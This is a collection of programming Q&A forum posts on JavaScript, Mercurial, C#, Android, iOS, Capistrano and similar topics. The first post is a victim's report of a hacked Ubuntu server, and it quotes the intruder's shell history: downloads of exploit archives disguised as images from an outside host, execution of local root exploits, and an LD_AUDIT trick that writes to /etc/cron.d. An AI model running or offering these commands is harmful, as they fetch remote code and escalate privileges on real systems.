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  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Developing Job References

    - by Joe Smith
    How do you develop references for jobs? I have 6 years of programming experience spanning two jobs, but sadly I don't have a lot of people I can draw on as references. It's been several years since I left my last job, which was at a small company, and I've lost touch with the few people I knew there. I now work at another small company. I think I've gone as far as I can in my current position, and would like to look for greener pastures, but I can't exactly use my current boss as a reference, even though I have a very good repore with him. I'm sure he'd make a great reference down the road, but I'm afraid I'd insult him or jeopardize my current job by mentioning that I'm thinking of leaving and would like him to help me. I've applied to some jobs, and I have gotten several replies like, "Oh, you're exactly what we're looking for. Send us a couple references and we'll schedule an interview. Oh, no references? You must be a psychopath, nevermind." I've tried doing some small freelance work on the side, just so I can have a contact who can vouch for my work, but the competition for even small projects is pretty fierce and I can rarely devote adequate time to freelancing while holding a full time job. In addition, I often encounter a Catch-22 where a lot of freelancing jobs also require references. So how do programmers maintain existing references and develop new ones, especially while holding a full time job?

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  • In Javascript, is it true that function aliasing works as long as the function being aliased doesn't

    - by Jian Lin
    In Javascript, if we are aliasing a function, such as in: f = g; f = obj.display; obj.f = foo; all the 3 lines above, they will work as long as the function / method on the right hand side doesn't touch this? Since we are passing in all the arguments, the only way it can mess up is when the function / method on the right uses this? Actually, line 1 is probably ok if g is also a property of window? If g is referencing obj.display, then the same problem is there. In line 2, when obj.display touches this, it is to mean the obj, but when f() is invoked, the this is window, so they are different. In line 3, it is the same: when f() is invoked inside of obj's code, then the this is obj, while foo might be using this to refer to window if it were a property of window. (global function). So line 2 can be written as f = function() { obj.display.apply(obj, arguments) } and line 3: obj.f = function() { foo.apply(window, arguments) } Is this the correct method, and are there there other methods besides this?

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  • Doing without partial commits the "Mercurial way"

    - by David Moles
    Subversion shop considering switching to Mercurial, trying to figure out in advance what all the complaints from developers are going to be. There's one fairly common use case here that I can't see how to handle. I'm working on some largish feature, and I have a significant part of the code -- or possibly several significant parts of the code -- in pieces all over the garage floor, totally unsuitable for checkin, maybe not even compiling. An urgent bugfix request comes in. The fix is nice and local and doesn't touch any of the code I've been working on. I make the fix in my working copy. Now what? I've looked at "Mercurial cherry picking changes for commit" and "best practices in mercurial: branch vs. clone, and partial merges?" and all the suggestions seem to be extensions of varying complexity, from Record and Shelve to Queues. The fact that there apparently isn't any core functionality for this makes me suspect that in some sense this working style is Doing It Wrong. What would a Mercurial-like solution to this use case look like?

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  • Design: How to declare a specialized memory handler class

    - by Michael Dorgan
    On an embedded type system, I have created a Small Object Allocator that piggy backs on top of a standard memory allocation system. This allocator is a Boost::simple_segregated_storage< class and it does exactly what I need - O(1) alloc/dealloc time on small objects at the cost of a touch of internal fragmentation. My question is how best to declare it. Right now, it's scope static declared in our mem code module, which is probably fine, but it feels a bit exposed there and is also now linked to that module forever. Normally, I declare it as a monostate or a singleton, but this uses the dynamic memory allocator (where this is located.) Furthermore, our dynamic memory allocator is being initialized and used before static object initialization occurs on our system (as again, the memory manager is pretty much the most fundamental component of an engine.) To get around this catch 22, I added an extra 'if the small memory allocator exists' to see if the small object allocator exists yet. That if that now must be run on every small object allocation. In the scheme of things, this is nearly negligable, but it still bothers me. So the question is, is there a better way to declare this portion of the memory manager that helps decouple it from the memory module and perhaps not costing that extra isinitialized() if statement? If this method uses dynamic memory, please explain how to get around lack of initialization of the small object portion of the manager.

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  • Reorganizing development environment for single developer/small shop

    - by Matthew
    I have been developing for my company for approximately three years. We serve up a web portal using Microsoft .NET and MS SQL Server on DotNetNuke. I am going to leave my job full time at the end of April. I am leaving on good terms, and I really care about this company and the state of the web project. Because I haven't worked in a team environment in a long time, I have probably lost touch with what 'real' setups look like. When I leave, I predict the company will either find another developer to take over, or at least have developers work on a contractual basis. Because I have not worked with other developers, I am very concerned with leaving the company (and the developer they hire) with a jumbled mess. I'd like to believe I am a good developer and everything makes sense, but I have no way to tell. My question, is how do I set up the development environment, so the company and the next developer will have little trouble getting started? What would you as a developer like in place before working on a project you've never worked on? Here's some relevant information: There is a development server onsite and a production server offsite in a data center . There is a server where backups and source code (Sourcegear Vault) are stored. There is no formal documentation but there are comments in the code. The company budget is tight so free suggestions will help the best. I will be around after the end of April on a consulting basis so I can ask simple questions but I will not be available full time to train someone

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  • Bing Map on Windows Phone - add click events to pushpins; display more details

    - by Will Gill
    I have a WP Phone app using a Bing Map control. I have an array of objects, and each object has a location. I iterate the array to place the pins on the map (see below). I have a touch event bound to each pin to allow the user to tap the pin to start an action. Now - I would like, on tap, to show information from the object that relates to that pin to be shown in a textbox. How can I retrieve the object from the array that corresponds to the pushpin that was tapped/clicked? foreach (wikiResult result in arrayResults) { double lat = double.Parse(result.Latitude, CultureInfo.InvariantCulture); double lng = double.Parse(result.Longitude, CultureInfo.InvariantCulture); statusTextBlock.Text = result.Latitude + " " + result.Longitude + " " + lat + " " + lng; GeoCoordinate d = new GeoCoordinate(lat, lng); Pushpin pin; pin = new Pushpin(); pin.Location = d; pin.Content = result.Name; pin.MouseLeftButtonUp += new MouseButtonEventHandler(pin1_MouseLeftButtonUp); myMap.Children.Add(pin); } void pin1_MouseLeftButtonUp(object sender, MouseButtonEventArgs e) { //display the content from the object in a text box } Many thanks in advance!

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  • implementing gravity to projectile - delta time issue

    - by Murat Nafiz
    I'm trying to implement a simple projectile motion in Android (with openGL). And I want to add gravity to my world to simulate a ball's dropping realistically. I simply update my renderer with a delta time which is calculated by: float deltaTime = (System.nanoTime()-startTime) / 1000000000.0f; startTime = System.nanoTime(); screen.update(deltaTime); In my screen.update(deltaTime) method: if (isballMoving) { golfBall.updateLocationAndVelocity(deltaTime); } And in golfBall.updateLocationAndVelocity(deltaTime) method: public final static double G = -9.81; double vz0 = getVZ0(); // Gets initial velocity(z) double z0 = getZ0(); // Gets initial height double time = getS(); // gets total time from act begin double vz = vz0 + G * deltaTime; // calculate new velocity(z) double z = z0 - vz0 * deltaTime- 0.5 * G * deltaTime* deltaTime; // calculate new position time = time + deltaTime; // Update time setS(time); //set new total time Now here is the problem; If I set deltaTime as 0.07 statically, then the animation runs normally. But since the update() method runs as faster as it can, the length and therefore the speed of the ball varies from device to device. If I don't touch deltaTime and run the program (deltaTime's are between 0.01 - 0.02 with my test devices) animation length and the speed of ball are same at different devices. But the animation is so SLOW! What am I doing wrong?

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  • Delete only reference to child object

    - by Al
    I'm running in to a bit of a problem where any attempt to delete just the reference to a child also deletes the child record. My schema looks like this Person Organisation OrganisationContacts : Person OrgId PersonId Role When removing an Organisation i want to only delete the record in OrgnaisationContacts, but not touch the Person record. My Mapping looks like this Code: public OrganisationMap() { Table("Organsations"); .... HasMany<OrganisationContact>(x => x.Contacts) .Table("OrganisationContacts ") .KeyColumn("OrgId") .Not.Inverse() .Cascade.AllDeleteOrphan(); } public class OrganisationContactMap : SubclassMap<OrganisationContact> { public OrganisationContactMap() { Table("OrganisationContacts"); Map(x => x.Role, "PersonRole"); Map(x => x.IsPrimary); } } At the moment just removing a contact from the IList either doesn't reflect in the database at all, or it issues two delete statements DELETE FROM OrganisationContact & DELETE FROM Person, or tries to set PersonId to null in the OrganisationContacts table. All of which are not desirable. Any help would be great appreciated.

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  • Modifying C# dictionary value

    - by minjang
    I'm a C++ expert, but not at all for C#. I created a Dictionary<string, STATS>, where STATS is a simple struct. Once I built the dictionary with initial string and STATS pairs, I want to modify the dictionary's STATS value. In C++, it's very clear: Dictionary<string, STATS*> benchmarks; Initialize it... STATS* stats = benchmarks[item.Key]; // Touch stats directly However, I tried like this in C#: Dictionary<string, STATS> benchmarks = new Dictionary<string, STATS>(); // Initialize benchmarks with a bunch of STATS foreach (var item in _data) benchmarks.Add(item.app_name, item); foreach (KeyValuePair<string, STATS> item in benchmarks) { // I want to modify STATS value inside of benchmarks dictionary. STATS stat_item = benchmarks[item.Key]; ParseOutputFile("foo", ref stat_item); // But, not modified in benchmarks... stat_item is just a copy. } This is a really novice problem, but wasn't easy to find an answer. EDIT: I also tried like the following: STATS stat_item = benchmarks[item.Key]; ParseOutputFile(file_name, ref stat_item); benchmarks[item.Key] = stat_item; However, I got the exception since such action invalidates Dictionary: Unhandled Exception: System.InvalidOperationException: Collection was modified; enumeration operation may not execute. at System.ThrowHelper.ThrowInvalidOperationException(ExceptionResource resource) at System.Collections.Generic.Dictionary`2.Enumerator.MoveNext() at helper.Program.Main(String[] args) in D:\dev\\helper\Program.cs:line 75

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  • UIButton stops responding after going into landscape mode - iPhone

    - by casey
    I've been trying different things the last few days and I've run out of ideas so I'm looking for help. The situation is that I'm displaying my in-app purchasing store view after the user clicks a button. Button pressed, view is displayed. The store shows fine. Inside this view, I have a few labels with descriptions of the product, and then below them I have the price and a Buy button which triggers the in-app purchase. Problem is when I rotate the phone to landscape, that Buy button no longer responds, weird. Works fine in portrait. The behavior in landscape when the I touch the button is nothing. It doesn't appear to press down and be selected or anything, just not responding to my touches. But then when I rotate back to portrait or even upside down portrait, it works fine. Here is the rough structure of my view in IB, all the rotating and layout is setup in IB. I set the autoresizing in IB so that everything looks ok in landscape and the Buy button expands horizontally a little bit. The only layout manipulation I do in my code is after loading, I set the content size of the scroll view. File Owner with view set to the scrollView / scrollView ----/ view --------/ label --------/ label --------/ label --------/ label --------/ label --------/ label --------/ label --------/ label --------/ uibutton (Buy) After orientation changes I printed out the userInteractionEnabled property of the scrollView and the button, and they were both TRUE at all orientations. Ideas? Or maybe some other way of displaying a buy button that won't be nonfunctional? I've already begun a branch that plays with a toolbar and placing the buy button there, but I can't seem to get the bar to stay in place while scrolling.

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  • Using callback functions for error handling in C

    - by Earlz
    Hi, I have been thinking about the difficulty incurred with C error handling.. like who actually does if(printf("hello world")==-1){exit(1);} But you break common standards by not doing such verbose, and usually useless coding. Well what if you had a wrapper around the libc? like so you could do something like.. //main... error_catchall(my_errors); printf("hello world"); //this will automatically call my_errors on an error of printf ignore=1; //this makes it so the function will return like normal and we can check error values ourself if(fopen.... //we want to know if the file opened or not and handle it ourself. } int my_errors(){ if(ignore==0){ _exit(1); //exit if we aren't handling this error by flagging ignore } return 0; //this is called when there is an error anywhere in the libc } ... I am considering making such a wrapper as I am synthesizing my own BSD licensed libc(so I already have to touch the untouchable..), but I would like to know what people think about it.. would this actually work in real life and be more useful than returning -1?

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  • Subclassing ViewPager Breaks Animation

    - by Ryan Thomas
    In my Android application I have an activity which uses a view pager to display 4+ pages (Fragments). I implemented buttons on each screen that move between pages by calling: pager.setCurrentItem(position, true); The view pager and fragments are all working as I desired. I then began looking for a solution to disable user swiping between pages so that the transition between pages in handled by the buttons only. The solution I found was mentioned in a few stackoverflow articles as well as This Blog that suggest subclassing the view pager to intercept touch events to disable swiping. I followed those examples by subclassing the view pager class as follows: public class ViewPager extends android.support.v4.view.ViewPager { private boolean enabled; public ViewPager(Context context, AttributeSet attrs) { super(context, attrs); this.enabled = true; } @Override public boolean onTouchEvent(MotionEvent event) { if (this.enabled) { return super.onTouchEvent(event); } return false; } @Override public boolean onInterceptTouchEvent(MotionEvent event) { if (this.enabled) { return super.onInterceptTouchEvent(event); } return false; } public void setSwipingEnabled(boolean enabled) { this.enabled = enabled; } } Using the subclassed view pager and calling setSwipingEnabled(false) works as was desired. The user can no longer move between pages with swipe gestures and I can still move between pages via button clicks by calling setCurrentItem(int position, boolean smoothScroll). However using the subclass breaks the animation between pages. When I call setCurrentItem(position, true) with android.support.v4.view.ViewPager I get very clean scrolling animations between pages. When I make the same call using the subclass the screen has a very brief 'flash' and then automatically draws the new page. I would like to know how to fix the animation while retaining the ability to disable user swiping between pages. I greatly appreciate any help with this. Let me know if you need any additional information. So far I have tested using a Samsung device running 2.3.5 and an AVD emulator targeting Android 2.3.3.

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  • Why does multiple sessions started on the same page gets the same session id?

    - by Calmarius
    I tryed the following: <?php session_name('user'); session_start(); // sets an 'user' cookie with session id. // This session stores the user's login data. // Its an ordinary session. $USERSESSION=$_SESSION; // saving this session $userSessId=session_id(); session_write_close(); //closing this session session_name('chatroom'); session_start(); // set a 'chatroom' cookie but contains the same session id and points to the same data :( . // This session would be used to store the chat text. This session would be // shared between all users joined in this chat room by setting the same session id for all members. // by calling session_regenerate_id would make a diffent session id for every user and it won't be a chat room anymore. ?> So I want to do a chat like thing with sessions. On the client side it would be done with ajax that polls this php page in every 5-10 seconds. Sessions may be cached in the server's memory so it can be accessible fast. I can store the chat in the database but my service runs on a free webhost which is limited, only 4 mysql connections allowed at a time which is almost nothing. I try to touch my database as least times as possible.

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  • ImageViews sometimes not displaying in FrameLayout activity

    - by Ken
    The top level layout in my activity is a framelayout. I have completed, debugged and tested this app and it works exactly like it should in all respects on my g1 and on various emulators. But on 3.7-inch displays running 2.1+, some imageviews packed in a linearlayout are periodically not visible. I know that they are there because you can touch and drag them with effect in the app. So I assume somehow they have gotten under the SurfaceView that is the main component of the app. This is apparently so even though the SurfaceView is declared in the xml prior to the LinearLayout. However, the ImageViews IN the LinearLayout are added programmatically towards the end of onCreate(). Framelayout stacks everything that is added to it, one on top of the other--the only way you will see more than one child of a frame layout is if they are smaller than the screen and are placed apart from eachother. Oddly, sometimes the imageviews ARE visible--it is random. Anyway, I've been trying to combat this with framelayout.bringChildToFront(View v) on the linearlayout without success. I wonder if anyone has any insight into how the behavior could be random like that, and how I should code these imageviews to keep this from happening, and why the problem appears only to occur on 3.7 vs 3.2 inch screens (as it happens, the two 3.2-inch screens were both htc, so vendor might be factor too). [edit] Actually, I've determined that this is a 2.2 issue, not a screen size (or even vendor) issue. Can't ensure that ImageViews added to a framelayout with a SurfaceView in it will appear on top of the surfaceview. I ran some tests in the respective onDraw() methods and the imageviews are 'visible' (0), and nothing does anything to the alpha of the drawables, which are there as well at ondraw(). [/edit] Any insight would be welcomed. Ken T.

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  • Displaying modal view in Objective-C

    - by kpower
    I'm trying to display Modal View in my app. I have subclass of UIViewController that has only the "Done" button (UIButton created with IB and linked with XCode). .h @interface myModalVC : UIViewController { UIButton *bDone; } @property (nonatomic, retain) IBOutlet UIButton *bDone; - (IBAction)bDoneTouchDown:(id)sender; @end .m #import "myModalVC.h" @implementation myModalVC @synthesize bDone; - (void)dealloc { [bDone release]; [super dealloc]; } - (void)viewDidLoad { [super viewDidLoad]; } - (void)viewDidUnload { } - (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation { return (UIInterfaceOrientationLandscapeLeft == interfaceOrientation || UIInterfaceOrientationLandscapeRight == interfaceOrientation); } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; } - (IBAction)bDoneTouchDown:(id)sender { [self.parentViewController dismissModalViewControllerAnimated:YES]; } @end I'm trying to display modal view with this code (from my main view): myModalVC *temp = [[[myModalVC alloc] initWithNibName:@"myModalVC" bundle:[NSBundle mainBundle]] autorelease]; [self presentModalViewController:temp animated:YES]; If this code is placed in some method, that responds to button touches - everything is fine. But when I place it to some other method (called during some processes in my app) - modal view is displayed without problems, but when I press (touch) "Done" button, application crashes with "Program received signal: “EXC_BAD_ACCESS”." What am I doing wrong?

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  • targeting sprites from a method in the document class - null object reference

    - by Freddyk
    Hi I am trying to code a flash app entirely in the document class. I am using GestureWorks with a touch screen. When a user essentially presses a button it calls a method that should hide a specific graphic but not the graphic they touched. Essentially I need a way to refer to a graphic on the screen using a method besides 'e.target'. //This code works because it can access 'e.target'. private function photo1SpriteFlickHandler(e:GestureEvent):void { var openTween:Tween = new Tween(e.target, "x", Strong.easeOut, 232, 970, 5, true); } //this code gives me a null object reference because I am using 'photo1Sprite' rather than 'e.target' private function photo1SpriteFlickHandler(e:GestureEvent):void { var openTween:Tween = new Tween(photo1Sprite, "x", Strong.easeOut, 232, 970, 5, true); } //photo1Sprite has already been programatically added to the screen as so: var photo1Sprite = new TouchSprite(); var photo1Loader=new Loader(); photo1Loader.load(new URLRequest("media/photos1/photo1.jpg")); photo1Loader.contentLoaderInfo.addEventListener(Event.COMPLETE,loaderComplete); photo1Sprite.x = 232; photo1Sprite.y = 538; photo1Sprite.scaleX = .3; photo1Sprite.scaleY = .3; photo1Sprite.blobContainerEnabled = true; photo1Sprite.addEventListener(TouchEvent.TOUCH_DOWN, startDrag_Press); photo1Sprite.addEventListener(TouchEvent.TOUCH_UP, stopDrag_Release); photo1Sprite.addChild(photo1Loader); addChild(photo1Sprite); So I can make photo1Sprite react if my method is attached to it directly using 'e.target' but not if I am trying to call it from a method that was called from another element on the screen.

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  • unhandled exception Handler in .Net 3.5 SP1

    - by Ruony
    Hi. I'm converting my own web browser use WPF from Windows XP to Windows 7. when I test on Windows XP, It has no error and exceptions. But I convert and test on Windows 7 with Multi-touch Library, My Browser occurred unhandled exception. Source: PresentationCore Message: An unspecified error occurred on the render thread. StackTrace: at System.Windows.Media.MediaContext.**NotifyPartitionIsZombie**(Int32 failureCode) at System.Windows.Media.MediaContext.NotifyChannelMessage() at System.Windows.Interop.HwndTarget.HandleMessage(Int32 msg, IntPtr wparam, IntPtr lparam) at System.Windows.Interop.HwndSource.HwndTargetFilterMessage(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled) at MS.Win32.HwndWrapper.WndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled) at MS.Win32.HwndSubclass.DispatcherCallbackOperation(Object o) at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Boolean isSingleParameter) at System.Windows.Threading.ExceptionWrapper.TryCatchWhen(Object source, Delegate callback, Object args, Boolean isSingleParameter, Delegate catchHandler) InnerException: null I want to know where the bug occurred. That Trace Message are garbage information for me. I already googling to know that message, but i never found any information. How do I get exactly function where the bug occurred? please tell me something.

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  • Reload images in a UIWebView after they have been downloaded by a background thread

    - by dantastic
    I have an application that frequently checks in with a server and downloads a batch of articles to the iphone. The articles are in html and just stored using core data. An article has 0-n images on the page. Downloading all associated images at the same time as the text will be too slow and take too much bandwidth. Users are not likely to open every article. If they open an article once it is likely they will open it several times. So I want to download and store the images locally when they are needed. These articles are listed in a UITableView. When you tap an article you pop open a UIWebView that displays the article. I have a function that checks if I have downloaded the images associated with the article already. If I have I just pop open the the UIWebView - everything works fine. If I don't have the images downloaded I go off and download them and store them to my Documents directory. Although this i working, the app is hanging while the images are downloading. Not very tidy. I want the article to open in a snap and download the images with the article open. So what I've done is I check if the images are downloaded, if they aren't I go ahead and just "touch" the files I need and load the webview. The UIWebView opens up but the images referenced contain no data. Then in a background thread I download the images and overwrite the "dummy" ones. This will save the images and everything but it won't reload the images in my current UIWebView. I have to go back out of the article back back in again to see the images. Are there any ways around this? reloading just an image in a UIWebView?

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  • Capistrano + Git + DreamHost

    - by Michael Sync
    Hello, I'm trying to deploy my rails application by using Passenger and Capistrano on Dreamhost. I'm using Git as a version control and we bought an account from GitHub. I have installed all required gems, Passenger and Capistrano in my local machine and I have cloned the repository of my project from GitHub in my local machine as wel. According to Dreamhost support, they have Passenger, Ruby, Rails and etc on their server as well. I'm currently following this article http://github.com/guides/deploying-with-capistrano for my deployment. The following is my deploy.rb. default_run_options[:pty] = true ssh_options[:forward_agent] = true # be sure to change these set :user, 'gituser' set :domain, 'github.com' set :application, 'MyProjectOnGit' #[email protected]:MyProjectOnGit.git # the rest should be good set :repository, "[email protected]:MyProjectOnGit.git" set :deploy_to, "/ruby.michaelsync.net/" set :deploy_via, :remote_cache set :scm, 'git' set :branch, 'master' set :git_shallow_clone, 1 set :scm_verbose, true set :use_sudo, false set :git_enable_submodules, 1 server domain, :app, :web role :db, domain, :primary => true set :ssh_options, { :forward_agent => true } namespace :deploy do task :restart do run "touch #{current_path}/tmp/restart.txt" end end When I run "cap deploy", I'm getting the error below. [deploy:update_code] exception while rolling back: Capistrano::ConnectionError, connection failed for: github.com (Net::SSH::AuthenticationFailed: gituser) connection failed for: github.com (Net::SSH::AuthenticationFailed: gituser) Thanks in advance..

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  • Calling a WPF Application and modify exposed properties?

    - by Justin
    I have a WPF Keyboard Application, it is developed in such a way that an application could call it and modify its properties to adapt the Keyboard to do what it needs to. Right now I have a file *.Keys.Set which tells the application (on open) to style itself according to that new style. I know this file could be passed as a command line argument into the application. That would not be a problem. My concern is, is there a way via a managed environment to change the properties of the executable as long as they are exposed properly, an example: 'Creates a new instance of the Keyboard Application Dim e_key as new WpfApplication("C:\egt\components\keyboard.exe") 'Sets the style path e_key.SetStylePath("c:\users\joe\apps\me\default.keys.set") e_key.Refresh() 'Applies the style e_key.HideMenu() 'Hides the menu e_key.ShowDeck("PIN") 'Shows the custom "deck" of keyboard keys the developer 'Created in the style application. ''work with events and response 'Clear the instance from memory e_key.close e_key.dispose e_key = nothing This would allow my application to become easily accessible to other Touch Screen Application Developers, allowing them to use my keyboard and keep the functionality they need. It seems like it might be possible because (name of executable).application shows all the exposed functions, properties, and values. I just have never done this before. Any help would be appreciated, thank you in advance.

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  • Using IAM for user authentication

    - by mdavis6890
    I've read lots and lots of posts that touch on what I think should be a very common use case - but without finding exactly what I want, or a simple reason why it can't be done. I have some files on S3. I want to be able to grant certain users access to certain files, via a front end that I build. So far, I've made it work this way: I built the front end in Django, using it's built-in Users and Groups I have a model for Buckets, in which I mirror my S3 buckets. I have a m2m relationship from groups to buckets representing the S3 permissions. The user logs in and authenticates against Django's users. I grab from Django the list of buckets that the user is allowed to see I use boto to grab a list of links to files from those buckets and display to user. This works, but isn't ideal, and also just doesn't feel right. I've got to keep a mirror of the buckets, and I also have to maintain my own list of user/passwords and permissions, when AWS already has all that built in. What I really want is to simply create the users in IAM and use group permissions in IAM to control access to the S3 buckets. No duplication of data or function. My app would request a UN/PW from the user and use that to connect to IAM/S3 to pull the list of buckets and files, then display links to the user. Simple. How can I, or why can't I? Am I looking at this the wrong way? What's the "right" way to address this (I assume) very common use case?

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  • App is fast on 3GS but slow on 3G

    - by Anthony Chan
    Hi all, I'm new to computer coding and have just finished coding an app and tested it on both 3G and 3GS. On 3GS, it worked as normal as on the simulator. However, when I tried to run it on 3G, the app becomes extremely slow. I'm not sure what's the reason and I hope someone could shed some light on me. Generally, my app has a couple of view controller classes, with one of them being the title page, one being the main page, one is setting, etc. I used a dissolve to transition from the title page to the main page. But even this simple transition shows un-smooth performance on a 3G! My other part of the app involves zooming in to some images by scaling up the images, switching images by push or dissolve upon receiving touch events, saving photos into photo library and storing and retrieving some photos in a folder and some data in a SQlite database, each showing un-smooth actions. Compared with some heavy graphic or heavy maths app, I think mine is pretty simple. I totally have no clue why the app would behave so slow and un-smooth that it is barely useful on a 3G. Any help/ direction would be much appreciated. Thanks for helping out.

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  • Want to develop for Android. Have a few basic, non-FAQ questions

    - by Troy M
    Hi everyone, Recently myself and a small group of friends became interested in developing a game for a mobile platform. Originally we considered the iPhone but none of us use macs, so we decided Android would be a more realistic platform to use. Before we get started, I was hoping that I might find some answers to a couple questions so we don't waste our time if this project isn't feasible. Any help is appreciated! I can't seem to find out how many programming languages Android supports. Java is obvious, but what about C+? It seems that Android supports C and C++ through Eclipse, but is that it? (I'm not the programmer for the project which is why I'm asking this. He's comfortable in C+). Our game involves the use of two digital analog sticks (it's not a twin-stick shooter but it's a similar concept). It would seem that most Droid devices unfortunately don't use multi-touch though... Are there many devices out there right now which support this functionality and I'm just not seeing them, or should we possibly consider the development of a different game that would only use a single input? Assuming there's no snags following those first two questions, what would you consider the best screen resolution to develop in? It seems like there are a variety of resolutions out there right now and we can't decide which is the best to use. Again, any answers are appreciated!

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  • Iphone - cannot grant permission for publishing on a Facebook page that i administer

    - by user323817
    I want to open a dialog on the IPhone so a user can grant my application permission to post on a Facebook page that the user administers. Following the docs, I can grant permissions for the user's stream and I can even post on a page that he is a fan of. However, the post on the page is listed as from the username, not on behalf of the page itself, even though he is an administrator of the page. According to the Prompting for Permissions section at: http://wiki.developers.facebook.com/index.php/Authorization_and_Authentication_for_Desktop_Applications I should be able to create a prompt on the IPhone for granting permission to publish_stream on a Facebook page that he administers. The sample url they give for a web "popup" dialog is: http://www.facebook.com/connect/prompt_permissions.php?api_key=YOURAPIKEY&v=1.0&next=http://www.facebook.com/connect/login_success.html?xxRESULTTOKENxx&display=popup&ext_perm=read_stream,publish_stream&enable_profile_selector=1&profile_selector_ids=1234%2C5454 This works as expected and a drop down of the pages is displayed. However, since my application is on the IPhone, I change the display=popup to display=touch. This does not seem to work and I've tried fiddling with the parameters several ways but the drop down never comes up. Anyone find a way around this? The popup option doesn't seem to work since I get an error trying to display it.

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